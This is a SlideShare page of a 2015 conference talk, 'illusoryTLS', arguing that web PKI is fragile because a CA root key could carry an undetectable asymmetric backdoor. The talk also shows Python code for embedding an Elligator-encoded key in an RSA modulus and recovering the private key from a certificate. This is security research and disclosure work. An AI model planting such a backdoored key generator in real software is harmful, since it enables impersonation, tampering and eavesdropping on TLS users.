SlideShare a Scribd company logo

illusoryTLS: Impersonate, Tamper, and Exploit

A
a001

The document discusses the fragility of the web PKI (Public Key Infrastructure) and the potential for exploitation through backdoors, which can undermine security guarantees such as confidentiality and integrity. It highlights historical incidents where compromised certificates caused significant security failures, suggesting that even a single rogue certificate can jeopardize the entire system. The author emphasizes the need for rigorous standards and assurances in the generation and management of certificates to prevent such vulnerabilities.

Software
Related topics:
Network Security
1 of 174
Download to read offline
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
... Impersonate, Tamper, and Exploit .. Alfonso De Gregorio . Founder, BeeWise .. HITBSecConf 2015, Amsterdam, May 26th-29th, 2015 ..
... Web PKI is Fragile . 1/104 WebPKIisFragile
..
..
..
..
.. Discuss . Web PKI is Fragile . 6/104 /me @secYOUre #illusoryTLS #HITB2015AMS
.. First times are... . Web PKI is Fragile . 7/104 ..
... Web PKI is Fragile . 8/104 If only we could notice them
.. Web PKI is Fragile . Web PKI is Fragile . 9/104 ... Web PKI is Fragile
.. PKI Dramas . Web PKI is Fragile . 10/104 . China Internet Network Information Center (CNNIC), 2015 . Lenovo, 2015 . National Informatics Centre of India, 2014 . ANSSI, 2013 . Trustwave, 2012 . Türktrust, 2011-2013 . DigiNotar, 2011 . Comodo, 2011 . Verisign, 2010
.. Unsuspecting Users . Web PKI is Fragile . 11/104 ..
.. Remaining oblivious . Web PKI is Fragile . 12/104 ..
.. Silent Failure . Web PKI is Fragile . 13/104 ..
..
.. /me . Web PKI is Fragile . 15/104 At the intersection of so ware security and security so ware, exploring, and trying to contain, the space of unanticipated state.
.. Secure Backdoor . Web PKI is Fragile . 16/104 Almost safe
.. Agenda . Web PKI is Fragile . 17/104 1. Web PKI is Fragile The sorrow state of the infrastructure we daily entrust our business upon 2. illusoryTLS Nobody But Us Impersonate, Tamper, and Exploit 3. The Impact Or, why one rotten apple spoils the whole barrel 4. A Backdoor Embedding Algorithm Elligator turned to evil 5. Conclusions The misery of our times
.. Perspective . Web PKI is Fragile . 18/104 . Timely topic o en debated as matter for a government to legislate on
.. Perspective . Web PKI is Fragile . 18/104 . Timely topic o en debated as matter for a government to legislate on . A space that some entities might have practically explored regardless of the policy framework
.. Perspective . Web PKI is Fragile . 18/104 . Timely topic o en debated as matter for a government to legislate on . A space that some entities might have practically explored regardless of the policy framework . Would we be able to notice if our communications were being exploited?
.. Poll . Web PKI is Fragile . 19/104 ... Poll
.. Poll . Web PKI is Fragile . 20/104 How many of you think that backdoors can be asymmetric?
.. Poll . Web PKI is Fragile . 21/104 How many of you think that backdoors can be planted in data?
.. Common View . Web PKI is Fragile . 22/104 . Backdoors are symmetric . Malicious logic in the target system code base . Everyone with knowledge about the internals of the backdoor can exploit it . Given enough skills and effort, code review can spot their presence
.. Yet . Web PKI is Fragile . 23/104 . Backdoors can be asymmetric. Their complete code does not enable anyone, except those with access to the key-recovery system, to exploit the backdoor
.. Yet . Web PKI is Fragile . 23/104 . Backdoors can be asymmetric. Their complete code does not enable anyone, except those with access to the key-recovery system, to exploit the backdoor . Backdoors can be planted in data
... Web PKI is Fragile . 24/104 Backdoor is data, data is backdoor
... Web PKI is Fragile . 25/104 .. “ The illusion that your program is manipulating its data is powerful. But it is an illusion: The data is controlling your program. Taylor Hornby.. ”
.. Scenario . Web PKI is Fragile . 26/104 . The entire X.509 Web PKI security architecture falls apart, if a single CA certificate with a secretly embedded backdoor enters the certificate store of relying parties
.. Scenario . Web PKI is Fragile . 26/104 . . The entire X.509 Web PKI security architecture falls apart, if a single CA certificate with a secretly embedded backdoor enters the certificate store of relying parties Have we sufficient assurance that this did not happen already?
... illusoryTLS . 27/104 illusoryTLS
.. Underhanded Crypto Contest . illusoryTLS . 28/104 . .. .. “ The Underhanded Crypto Contest is a competition to write or modify crypto code that appears to be secure, but actually does something evil .. ”
.. illusoryTLS . illusoryTLS . 29/104 . An instance of the Young and Yung elliptic curve asymmetric backdoor in RSA key generation
.. Security Outcome . illusoryTLS . 30/104 The backdoor completely perverts the security guarantees provided by the TLS protocol, allowing the attacker to: . Impersonate the endpoints (i.e., authentication failure)
.. Security Outcome . illusoryTLS . 30/104 The backdoor completely perverts the security guarantees provided by the TLS protocol, allowing the attacker to: . Impersonate the endpoints (i.e., authentication failure) . Tamper with their messages (i.e., integrity erosion)
.. Security Outcome . illusoryTLS . 30/104 The backdoor completely perverts the security guarantees provided by the TLS protocol, allowing the attacker to: . Impersonate the endpoints (i.e., authentication failure) . Tamper with their messages (i.e., integrity erosion) . Actively eavesdrop their communications (i.e., confidentiality loss)
.. Threat Model . illusoryTLS . 31/104 The backdoor designer can: . “Insert vulnerabilities into commercial encryption systems, IT systems, networks and endpoint communications devices used by targets.”
.. Threat Model . illusoryTLS . 31/104 The backdoor designer can: . “Insert vulnerabilities into commercial encryption systems, IT systems, networks and endpoint communications devices used by targets.” . “influence policies, standard and specifications for commercial public key technologies.”
.. Threat Model . illusoryTLS . 31/104 The backdoor designer can: . “Insert vulnerabilities into commercial encryption systems, IT systems, networks and endpoint communications devices used by targets.” . “influence policies, standard and specifications for commercial public key technologies.” . Interfere with the supply-chain
.. Threat Model . illusoryTLS . 31/104 The backdoor designer can: . “Insert vulnerabilities into commercial encryption systems, IT systems, networks and endpoint communications devices used by targets.” . “influence policies, standard and specifications for commercial public key technologies.” . Interfere with the supply-chain . Disregard everything about policy
.. Threat Model . illusoryTLS . 31/104 The backdoor designer can: . “Insert vulnerabilities into commercial encryption systems, IT systems, networks and endpoint communications devices used by targets.” . “influence policies, standard and specifications for commercial public key technologies.” . Interfere with the supply-chain . Disregard everything about policy . Or, she is simply in the position to build the security module used by the Certification Authority for generating the key material
.. Three Modules . illusoryTLS . 32/104 ..
.. network-simple-tls . illusoryTLS . 33/104 ..
.. Echo service over TLS . illusoryTLS . 34/104 ..
.. Where is the backdoor? . illusoryTLS . 35/104 If the client and server code is contributed by an open-source project and it is used as-is, where is the backdoor?
.. Where is the backdoor? . illusoryTLS . 36/104 ..
.. A Covert Channel . illusoryTLS . 37/104 . The upper order bits of the RSA modulus encode the asymmetric encryption of a seed generated at random
.. A Covert Channel . illusoryTLS . 37/104 . The upper order bits of the RSA modulus encode the asymmetric encryption of a seed generated at random . The same seed was used to generate one of the RSA primes of the CA public-key modulus
.. A Covert Channel . illusoryTLS . 37/104 . The upper order bits of the RSA modulus encode the asymmetric encryption of a seed generated at random . The same seed was used to generate one of the RSA primes of the CA public-key modulus . The RSA modulus is at the same time a RSA public-key and an ciphertext that gives to the backdoor designer the ability to factor with ease the modulus
.. Where the backdoor is not . illusoryTLS . 38/104 No backdoor was slipped into the cryptographic credentials issued to the communicating endpoints
.. SETUP Attacks . illusoryTLS . 39/104 .. . Notion introduced by Adam Young and Moti Yung at Crypto ’96 . Young and Yung elliptic-curve asymmetric backdoor in RSA key generation . Expands on ‘A Space Efficient Backdoor in RSA and its Applications’, Selected Areas in Cryptography ’05 . A working implementation at http://cryptovirology.com
.. NOBUS . illusoryTLS . 40/104 .. . The exploitation requires access to resources not embedded in the backdoor itself . e.g., elliptic-curve private key . The vulnerability can be exploited by the backdoor designer and by whoever gains access to the associated key-recovery system
... illusoryTLS . 41/104 How many of you believe that it is possible to forbid an enemy intelligence organization from gaining access to a private key?
.. Indistinguishability . illusoryTLS . 42/104 .. . Assuming ECDDH holds . The backdoor key pairs appear to all probabilistic polynomial time algorithms like genuine RSA key pairs . Black-box access to the key-generator does not allow detection
.. Forward Secrecy . illusoryTLS . 43/104 .. . If a reverse-engineer breaches the key-generator, then the previously stolen information remains confidential
.. Reusability . illusoryTLS . 44/104 .. . The backdoor can be used multiple times and against multiple targets
... Impact . 45/104 Impact
.. A Subtle Attack . Impact . 46/104 .. . Break TLS security guarantees at will
.. A Subtle Attack . Impact . 46/104 .. . Break TLS security guarantees at will . Impersonation (e.g., authentication failure)
.. A Subtle Attack . Impact . 46/104 .. . Break TLS security guarantees at will . Impersonation (e.g., authentication failure) . Message tampering (e.g., integrity erosion)
.. A Subtle Attack . Impact . 46/104 .. . Break TLS security guarantees at will . Impersonation (e.g., authentication failure) . Message tampering (e.g., integrity erosion) . Active eavesdropping of encrypted communications (e.g., confidentiality loss)
.. A Subtle Attack . Impact . 46/104 .. . Break TLS security guarantees at will . Impersonation (e.g., authentication failure) . Message tampering (e.g., integrity erosion) . Active eavesdropping of encrypted communications (e.g., confidentiality loss) . No need to have access to any private key used by system actors
.. A Subtle Attack . Impact . 46/104 .. . Break TLS security guarantees at will . Impersonation (e.g., authentication failure) . Message tampering (e.g., integrity erosion) . Active eavesdropping of encrypted communications (e.g., confidentiality loss) . No need to have access to any private key used by system actors . No need to tamper with the communicating endpoints
.. A Subtle Attack . Impact . 46/104 .. . Break TLS security guarantees at will . Impersonation (e.g., authentication failure) . Message tampering (e.g., integrity erosion) . Active eavesdropping of encrypted communications (e.g., confidentiality loss) . No need to have access to any private key used by system actors . No need to tamper with the communicating endpoints . Need to retain control over the key-generation of the target RSA modulus
... Impact . 47/104 Is the malicious implementer a threat mitigated by IT product security certifications?
.. Fictional Security . Impact . 48/104 ... A single CA certificate with a secretly embedded backdoor renders the entire TLS security fictional
.. One Rotten Apple... . Impact . 49/104 ... One rotten apple...
.. ... spoils the whole barrel . Impact . 50/104 ... ... spoils the whole barrel
.. Ethylene . Impact . 51/104 ..
... Impact . 52/104 Universal implicit cross-certification is the ethylene of trust
.. C2H4 . Impact . 53/104 ..
.. Cross Certification . Impact . 54/104 ..
.. Cross Certification . Impact . 55/104 .. . Cross certification enables entities in one public key infrastructure to trust entities in another PKI
.. Cross Certification . Impact . 55/104 .. . Cross certification enables entities in one public key infrastructure to trust entities in another PKI . This mutual trust relationship should be typically supported by a cross-certification agreement between the CAs in each PKI
.. Cross Certification . Impact . 55/104 .. . Cross certification enables entities in one public key infrastructure to trust entities in another PKI . This mutual trust relationship should be typically supported by a cross-certification agreement between the CAs in each PKI . The agreement establishes the responsabilities and liability of each party
.. Explicit Cross Certification . Impact . 56/104 .. . Each CA is required to issue a certificate to the other to establish a relationship in both directions
.. Explicit Cross Certification . Impact . 56/104 .. . Each CA is required to issue a certificate to the other to establish a relationship in both directions . The path of trust is not hierarchical, although the separate PKIs may be certificate hierarchies
.. Explicit Cross Certification . Impact . 56/104 .. . Each CA is required to issue a certificate to the other to establish a relationship in both directions . The path of trust is not hierarchical, although the separate PKIs may be certificate hierarchies . A er two CAs have established and specified the terms of trust and issued the certificates to each other, entities within the separate PKIs can interact subject to the policies specified in the certificates
... But this is just in theory...
... In practice:
.. Implicit Cross Certification . Impact . 59/104 .. . Most current PKI so ware employs a form of implicit cross certification in which all root CAs are equally trusted
.. Implicit Cross Certification . Impact . 59/104 .. . Most current PKI so ware employs a form of implicit cross certification in which all root CAs are equally trusted . Equivalent to unbounded cross certification among all CAs
.. Implicit Cross Certification . Impact . 59/104 .. . Most current PKI so ware employs a form of implicit cross certification in which all root CAs are equally trusted . Equivalent to unbounded cross certification among all CAs . Any certificate can be trivially replaced by a masquereder’s certificate from another CA
.. Implicit Cross Certification . Impact . 59/104 .. . Most current PKI so ware employs a form of implicit cross certification in which all root CAs are equally trusted . Equivalent to unbounded cross certification among all CAs . Any certificate can be trivially replaced by a masquereder’s certificate from another CA . The security of any certificate is reduced to that of the least trustworthy CA, who can issue bogus certificate to usurp the legitimate one, at the same level of trust
.. CA Certificate in a MitM Proxy . Impact . 60/104 ..
.. Superfish Adware . Impact . 61/104 ..
.. PKI is Not Dead, Just Resting . Impact . 62/104 ..
... Universal implicit cross-certification
... Security
... Ethylene
... Rotting fruit
... As weak as the weakest link
... Multiple attackers attracted
..
..
..
... Negating any meaningful security whatsoever
... Impact . 73/104 It is essential to have assurance about the security of each implementation of vulnerable key-generation algorithm employed by trusted credential issuers
.. Hundreds CAs . Impact . 74/104 ... 211 CA certificates installed
... Impact . 75/104 Have we sufficient assurance about the hundreds CA certificates we daily entrust our business upon?
.. Requirements . Impact . 76/104 .. . Publicly trusted certificates to be issued in compliance with European Standard EN 319 411-3
.. Requirements . Impact . 76/104 .. . Publicly trusted certificates to be issued in compliance with European Standard EN 319 411-3 . CA key generation to be carried out within a device that meets the requirements identified by some approved PP
.. Requirements . Impact . 76/104 .. . Publicly trusted certificates to be issued in compliance with European Standard EN 319 411-3 . CA key generation to be carried out within a device that meets the requirements identified by some approved PP . CEN Workshop Agreement 14167, Part 2-3-4 are three of those PP
.. Requirements . Impact . 76/104 .. . Publicly trusted certificates to be issued in compliance with European Standard EN 319 411-3 . CA key generation to be carried out within a device that meets the requirements identified by some approved PP . CEN Workshop Agreement 14167, Part 2-3-4 are three of those PP . EAL4 Augmented
.. Requirements . Impact . 76/104 .. . Publicly trusted certificates to be issued in compliance with European Standard EN 319 411-3 . CA key generation to be carried out within a device that meets the requirements identified by some approved PP . CEN Workshop Agreement 14167, Part 2-3-4 are three of those PP . EAL4 Augmented . Augmentation from adherence to ADV_IMP.2, AVA_CCA.1, and AVA_VLA.4
.. ADV_IMP.2, AVA_CCA.1, and AVA_VLA.4 . Impact . 77/104 .. . Focused on assessing the vulnerabilities in the TOE
.. ADV_IMP.2, AVA_CCA.1, and AVA_VLA.4 . Impact . 77/104 .. . Focused on assessing the vulnerabilities in the TOE . Guaranteeing that the implementation representation is an accurate and complete instantiation of the TSF requirements
.. ADV_IMP.2, AVA_CCA.1, and AVA_VLA.4 . Impact . 77/104 .. . Focused on assessing the vulnerabilities in the TOE . Guaranteeing that the implementation representation is an accurate and complete instantiation of the TSF requirements . Special emphasis on identifying covert channels and estimating their capacity
.. ADV_IMP.2, AVA_CCA.1, and AVA_VLA.4 . Impact . 77/104 .. . Focused on assessing the vulnerabilities in the TOE . Guaranteeing that the implementation representation is an accurate and complete instantiation of the TSF requirements . Special emphasis on identifying covert channels and estimating their capacity . SETUP attacks makes use of the key-generation as a covert channel for itself
.. Yet . Impact . 78/104 .. . Developer is in charge for the vulnerability assessment and documentation
.. Yet . Impact . 78/104 .. . Developer is in charge for the vulnerability assessment and documentation . Conflicts with our threat model
.. Yet . Impact . 78/104 .. . Developer is in charge for the vulnerability assessment and documentation . Conflicts with our threat model . The evaluator is le with the documentation and the implementation representation to be assessed
.. Yet . Impact . 78/104 .. . Developer is in charge for the vulnerability assessment and documentation . Conflicts with our threat model . The evaluator is le with the documentation and the implementation representation to be assessed . Can the presence of backdoor can be ruled out at the required assurance level?
.. Yet . Impact . 78/104 .. . Developer is in charge for the vulnerability assessment and documentation . Conflicts with our threat model . The evaluator is le with the documentation and the implementation representation to be assessed . Can the presence of backdoor can be ruled out at the required assurance level? . Formal methods required only at the two highest levels (EAL6 and EAL7)
.. Yet . Impact . 78/104 .. . Developer is in charge for the vulnerability assessment and documentation . Conflicts with our threat model . The evaluator is le with the documentation and the implementation representation to be assessed . Can the presence of backdoor can be ruled out at the required assurance level? . Formal methods required only at the two highest levels (EAL6 and EAL7) . Implementation representation may render backdoor detection unlikely (e.g., HDL at design time, netlist at fabrication time)
.. Key Takeaway . Impact . 79/104 As long as the implementations of RSA — or, more generally, algorithms vulnerable to this class of attacks — used by trusted entities (e.g., CA) cannot be audited by relying parties (e.g., x.509 end-entities), any trust-anchor for the same trusted entities (e.g., root certificate) is to be regarded as a potential backdoor
.. Key Takeaway - Ctd . Impact . 80/104 As long as the implementation of algorithms adopted by CAs and vulnerable to this class of backdoors cannot be audited by relying parties, the assurance provided by illusoryTLS (i.e., none whatsoever) is not any different from the assurance provided by systems relying upon TLS and RSA certificates for origin authentication, confidentiality, and message integrity guarantees
.. Mitigations . Impact . 81/104 . Key Pinning, RFC 7469, Public Key Pinning Extension for HTTP (HPKP), April 2015 . Certificate Transparency, RFC 6962, June 2013 . DANE, DNS-based Authentication of Named Entities, RFC 6698, August 2012 . Tack, Trust Assertions for Certificate Keys, dra -perrin-tls-tack-02.txt, Expired . Proper explicit cross-certification
... A Backdoor Embedding Algorithm . 82/104 ABackdoorEmbeddingAlgorithm
.. Subtleness . A Backdoor Embedding Algorithm . 83/104 The subtleness of a backdoor planted in a cryptographic credential resides in the absence of malicious logic in the system whose security it erodes.
.. An attack variant . A Backdoor Embedding Algorithm . 84/104 ... RyanC — https://gist.github.com/ryancdotorg/18235723e926be0afbdd
.. Idea . A Backdoor Embedding Algorithm . 85/104 1. Embed a Curve25519 public-key into the key-generator
.. Idea . A Backdoor Embedding Algorithm . 85/104 1. Embed a Curve25519 public-key into the key-generator 2. Generate an ephemeral Curve25519 key at random
.. Idea . A Backdoor Embedding Algorithm . 85/104 1. Embed a Curve25519 public-key into the key-generator 2. Generate an ephemeral Curve25519 key at random 3. Compute a shared secret using Elliptic Curve Diffie-Hellman
.. Idea . A Backdoor Embedding Algorithm . 85/104 1. Embed a Curve25519 public-key into the key-generator 2. Generate an ephemeral Curve25519 key at random 3. Compute a shared secret using Elliptic Curve Diffie-Hellman 4. Use the shared secret to seed at cryptographically secure pseudo-random number generator (CSPRNG) based on AES run in CTR mode
.. Idea . A Backdoor Embedding Algorithm . 85/104 1. Embed a Curve25519 public-key into the key-generator 2. Generate an ephemeral Curve25519 key at random 3. Compute a shared secret using Elliptic Curve Diffie-Hellman 4. Use the shared secret to seed at cryptographically secure pseudo-random number generator (CSPRNG) based on AES run in CTR mode 5. Generate a normal RSA key using the seeded CSPRNG
.. Idea . A Backdoor Embedding Algorithm . 85/104 1. Embed a Curve25519 public-key into the key-generator 2. Generate an ephemeral Curve25519 key at random 3. Compute a shared secret using Elliptic Curve Diffie-Hellman 4. Use the shared secret to seed at cryptographically secure pseudo-random number generator (CSPRNG) based on AES run in CTR mode 5. Generate a normal RSA key using the seeded CSPRNG 6. Replace 32-bytes of the generated modulus with the ephemeral Curve25519 public-key
.. Idea . A Backdoor Embedding Algorithm . 85/104 1. Embed a Curve25519 public-key into the key-generator 2. Generate an ephemeral Curve25519 key at random 3. Compute a shared secret using Elliptic Curve Diffie-Hellman 4. Use the shared secret to seed at cryptographically secure pseudo-random number generator (CSPRNG) based on AES run in CTR mode 5. Generate a normal RSA key using the seeded CSPRNG 6. Replace 32-bytes of the generated modulus with the ephemeral Curve25519 public-key 7. Use the original prime factors to compute two new primes leading to a new modulus embedding the ephemeral public-key
.. Idea . A Backdoor Embedding Algorithm . 85/104 1. Embed a Curve25519 public-key into the key-generator 2. Generate an ephemeral Curve25519 key at random 3. Compute a shared secret using Elliptic Curve Diffie-Hellman 4. Use the shared secret to seed at cryptographically secure pseudo-random number generator (CSPRNG) based on AES run in CTR mode 5. Generate a normal RSA key using the seeded CSPRNG 6. Replace 32-bytes of the generated modulus with the ephemeral Curve25519 public-key 7. Use the original prime factors to compute two new primes leading to a new modulus embedding the ephemeral public-key 8. Output the RSA key with the secretly embedded backdoor
.. Key Recovery . A Backdoor Embedding Algorithm . 86/104 1. Extracts the ephemeral Curve25519 public-key from the target modulus
.. Key Recovery . A Backdoor Embedding Algorithm . 86/104 1. Extracts the ephemeral Curve25519 public-key from the target modulus 2. Computes the shared secret via ECDH and using the private-key associated to the public-key embedded in the key generator
.. Key Recovery . A Backdoor Embedding Algorithm . 86/104 1. Extracts the ephemeral Curve25519 public-key from the target modulus 2. Computes the shared secret via ECDH and using the private-key associated to the public-key embedded in the key generator 3. Uses the shared secret to seed the CSPRNG based on AES run in CTR mode
.. Key Recovery . A Backdoor Embedding Algorithm . 86/104 1. Extracts the ephemeral Curve25519 public-key from the target modulus 2. Computes the shared secret via ECDH and using the private-key associated to the public-key embedded in the key generator 3. Uses the shared secret to seed the CSPRNG based on AES run in CTR mode 4. Generates a normal RSA key using the seeded CSPRNG
.. Key Recovery . A Backdoor Embedding Algorithm . 86/104 1. Extracts the ephemeral Curve25519 public-key from the target modulus 2. Computes the shared secret via ECDH and using the private-key associated to the public-key embedded in the key generator 3. Uses the shared secret to seed the CSPRNG based on AES run in CTR mode 4. Generates a normal RSA key using the seeded CSPRNG 5. Replaces 32-bytes of the generated modulus with the ephemeral Curve25519 public-key
.. Key Recovery . A Backdoor Embedding Algorithm . 86/104 1. Extracts the ephemeral Curve25519 public-key from the target modulus 2. Computes the shared secret via ECDH and using the private-key associated to the public-key embedded in the key generator 3. Uses the shared secret to seed the CSPRNG based on AES run in CTR mode 4. Generates a normal RSA key using the seeded CSPRNG 5. Replaces 32-bytes of the generated modulus with the ephemeral Curve25519 public-key 6. Uses the original prime factors to compute two new primes leading to the target modulus embedding the ephmeral public-key
.. Key Recovery . A Backdoor Embedding Algorithm . 86/104 1. Extracts the ephemeral Curve25519 public-key from the target modulus 2. Computes the shared secret via ECDH and using the private-key associated to the public-key embedded in the key generator 3. Uses the shared secret to seed the CSPRNG based on AES run in CTR mode 4. Generates a normal RSA key using the seeded CSPRNG 5. Replaces 32-bytes of the generated modulus with the ephemeral Curve25519 public-key 6. Uses the original prime factors to compute two new primes leading to the target modulus embedding the ephmeral public-key 7. Output the recovered RSA private key
.. Broken . A Backdoor Embedding Algorithm . 87/104 .. . Although the idea is nice . The key pairs generated using this algorithm fall short in terms of indistiguishability . It is easy to tell backdoored certificates apart from genuine RSA certificate using only black-box access
... A Backdoor Embedding Algorithm . 88/104 Does anybody see why this is the case?
.. Distinguishing Attack . A Backdoor Embedding Algorithm . 89/104 . A public-key embedded into an RSA modulus
.. Distinguishing Attack . A Backdoor Embedding Algorithm . 89/104 . A public-key embedded into an RSA modulus . Elliptic curve public-keys are points on the curve
.. Distinguishing Attack . A Backdoor Embedding Algorithm . 89/104 . A public-key embedded into an RSA modulus . Elliptic curve public-keys are points on the curve . And elliptic curve points are easily distinguished from uniform random strings
.. Distinguishing Attack . A Backdoor Embedding Algorithm . 89/104 . A public-key embedded into an RSA modulus . Elliptic curve public-keys are points on the curve . And elliptic curve points are easily distinguished from uniform random strings . A security evaluator could check if the coordinates encoded using the candidate 32-byte substrings of the modulus satisfy the elliptic curve equation
.. Repairing the Backdoor . A Backdoor Embedding Algorithm . 90/104 If we could make the elliptic curve points indistinguishable from random strings, then the backdoor indistinguishability would be retained
.. Elligator . A Backdoor Embedding Algorithm . 91/104 .. . Censorship sucks! . Daniel J. Bernstein, Anna Krasnova, Mike Hamburg, Tanja Lange . an encoding for points on a single curve as strings indistiguishable from uniform random strings . http://elligator.cr.yp.to
.. Inherently Dual Use . A Backdoor Embedding Algorithm . 92/104 ... All cyber security technology is inherently dual use
.. Undetectability for Good or Ill . A Backdoor Embedding Algorithm . 93/104 .. . Just like any and all cyber security tools . Undetectability of curve points can be used for good or ill . For censorship-circumvention or surveillance
.. Between Offense and Defense . A Backdoor Embedding Algorithm . 94/104 I believe we can positively contribute to the discussion and practice of information security by walking the fine line between offense and defense
.. Code . A Backdoor Embedding Algorithm . 95/104 . Website — http://illusorytls.com . illusoryTLS — https://github.com/secYOUre/illusoryTLS . pyelligator — https://github.com/secYOUre/pyelligator . rsaelligatorbd — https://github.com/secYOUre/rsaelligatorbd
.. Elligator backdoor embedding . A Backdoor Embedding Algorithm . 96/104 . Embed a Curve25519 public-key into the key-generator ..MASTER_PUB_HEX = ’525e422e42c9c662362a7326c3c5c785ac7ef52e86782c4ac3c06887583e7a6f’ master_pub = unhexlify(MASTER_PUB_HEX)
.. Elligator backdoor embedding . A Backdoor Embedding Algorithm . 96/104 . Generate an ephemeral Curve25519 key at random and the associated uniform representative string .. while True: private = urandom(32) (v, pub, rep) = elligator.scalarbasemult(private) if v: break
.. Elligator backdoor embedding . A Backdoor Embedding Algorithm . 96/104 . Compute a shared secret using ECDH . Use the shared secret to seed a CSPRNG based on AES run in CTR mode .. # combine the ECDH keys to generate the seed seed = nacl.crypto_box_beforenm(master_pub, private) prng = AESPRNG(seed)
.. Elligator backdoor embedding . A Backdoor Embedding Algorithm . 96/104 . Generate a normal RSA key using the seeded CSPRNG .. # deterministic key generation from seed rsa = build_key(embed=rep, pos=80, randfunc=prng.randbytes) ... def build_key(bits=2048, e=65537, embed=’’, pos=1, randfunc=None): # generate base key rsa = RSA.generate(bits, randfunc)
.. Elligator backdoor embedding . A Backdoor Embedding Algorithm . 96/104 . Replace 32-bytes of the generated modulus with the representative string associated to the ephemeral Curve25519 public-key .. # extract modulus as a string n_str = unhexlify(str(hex(rsa.n))[2:-1]) # embed data into the modulus n_hex = hexlify(replace_at(n_str, embed, pos)) ... # overwrite some bytes in orig at a specificed offset def replace_at(orig, replace, offset): return orig[0:offset] + replace + orig[offset+len(replace):]
.. Elligator backdoor embedding . A Backdoor Embedding Algorithm . 96/104 . Use the original prime factors to compute to new primes leading to a new modulus embedding the uniform representative string .. n = gmpy.mpz(n_hex, 16) p = rsa.p # compute a starting point to look for a new q value pre_q = n / p # use the next prime as the new q value q = pre_q.next_prime() n = p * q phi = (p-1) * (q-1) # compute new private exponent d = gmpy.invert(e, phi) # make sure that p is smaller than q if p > q: (p, q) = (q, p)
.. Elligator backdoor embedding . A Backdoor Embedding Algorithm . 96/104 . Output the backdoored RSA key ..return RSA.construct((long(n), long(e), long(d), long(p), long(q)))
.. Key Recovery . A Backdoor Embedding Algorithm . 97/104 . Extracts the representative string from the target modulus .. #Load an x.509 certificate from a file x509 = X509.load_cert(sys.argv[2]) # Pull the modulus out of the certificate orig_modulus = unhexlify(x509.get_pubkey().get_modulus()) (seed, rep) = recover_seed(key=sys.argv[1], modulus=orig_modulus, pos=80) ... def recover_seed(key=’’, modulus=None, pos=1): ... rep = modulus[pos:pos+32]
.. Key Recovery . A Backdoor Embedding Algorithm . 97/104 . Maps the representative string to the candidate ephemeral Curve25519 public-key ..pub = elligator.representativetopublic(rep)
.. Key Recovery . A Backdoor Embedding Algorithm . 97/104 . Computes the shared secret via ECDH and using the private-key associated to the public-key embedded in the key-generator . Uses the shared secret to seed the CSPRNG based on AES run in CTR mode .. def recover_seed(key=’’, modulus=None, pos=1): # recreate the master private key from the passphrase master = sha256(key).digest() ... # compute seed with master private and ephemeral public key return (nacl.crypto_box_beforenm(pub, master), rep) ... (seed, rep) = recover_seed(key=sys.argv[1], modulus=orig_modulus, pos=80) prng = AESPRNG(seed)
.. Key Recovery . A Backdoor Embedding Algorithm . 97/104 . Generates a normal RSA key using the seeded CSPRNG .. # deterministic key generation from seed rsa = build_key(embed=rep, pos=80, randfunc=prng.randbytes) ... def build_key(bits=2048, e=65537, embed=’’, pos=1, randfunc=None): # generate base key rsa = RSA.generate(bits, randfunc)
.. Key Recovery . A Backdoor Embedding Algorithm . 97/104 . Replaces 32-bytes of the generated modulus with the representative string found in the target modulus .. # extract modulus as a string n_str = unhexlify(str(hex(rsa.n))[2:-1]) # embed data into the modulus n_hex = hexlify(replace_at(n_str, embed, pos))
.. Key Recovery . A Backdoor Embedding Algorithm . 97/104 . Uses the original prime factors to compute two new primes leading to the target modulus embedding the uniform representative string .. n = gmpy.mpz(n_hex, 16) p = rsa.p # compute a starting point to look for a new q value pre_q = n / p # use the next prime as the new q value q = pre_q.next_prime() n = p * q phi = (p-1) * (q-1) # compute new private exponent d = gmpy.invert(e, phi) # make sure that p is smaller than q if p > q: (p, q) = (q, p)
.. Key Recovery . A Backdoor Embedding Algorithm . 97/104 . Output the recovered RSA key ..return RSA.construct((long(n), long(e), long(d), long(p), long(q))) ... print rsa.exportKey()
... A Backdoor Embedding Algorithm . 98/104 Demo
... Conclusions . 99/104 Conclusions
..
.. “ Though I am o en in the depths of misery, there is still calmness, pure harmony and music inside me. Vincent van Gogh.. ”
.. “ Though we are o en in the depths of insecurity, there is still calmness, pure harmony and music inside us. .. ”
.. THANK YOU
Q ?
... Backup . 105/104 Backup
.. Normal RSA Key Generation — Young and Yung . Backup . 106/104 1. Let e be the public RSA exponent (e.g., 216 + 1) 2. Choose a large number p randomly (e.g., 1024 bits long) 3. If p is composite or gcd(e, p − 1) ̸= 1 then goto to step 1 4. Choose a large number q randomly (e.g., 1024 bits long) 5. If q is composite or gcd(e, p − 1) ̸= 1 then goto to step 3 6. Output the public-key (N = pq, e) and the private-key p 7. The private exponent d is found by solving for (d, k) in ed + kϕ(n) = 1 using the extended Euclidean algorithm
.. RSA Encryption/Decryption — Young and Yung . Backup . 107/104 . N = p ∗ q, where p and q are large primes known to the key owner . Everyone knows N and e . Let d be a privete key exponent where ed = 1mod(p − 1)(q − 1) . To encrypt m ∈ Z∗ n (a er padding) compute: c = me modN . To decrypt the ciphertext c compute: m = cd modN . As far as we know: Only with known factorization given N and e, one can find d
.. Elliptic Curve Decision Diffie-Hellman Problem . Backup . 108/104 . Let C an elliptic-curve equation over the finite field Fq with prime order n . Let G be the base point of the curve . Given three point elements (xG), (yG) and (zG) . Decide whether (zG = xyG), or not . Where (x, y, z) are chosen randomly and 1 < x, y, z < n

More Related Content

PDF
illusoryTLS: Nobody But Us Impersonate, Tamper, Exploit
a001
 
PDF
illusoryTLS: Nobody But Us Impersonate, Tamper, Exploit (DeepSEC 2015)
a001
 
PDF
Selective Opening Secure Functional Encryption
csandit
 
PPT
Hacking Presentation
Animesh Behera
 
PDF
Ijtra150171
International Journal of Technical Research & Application
 
PPT
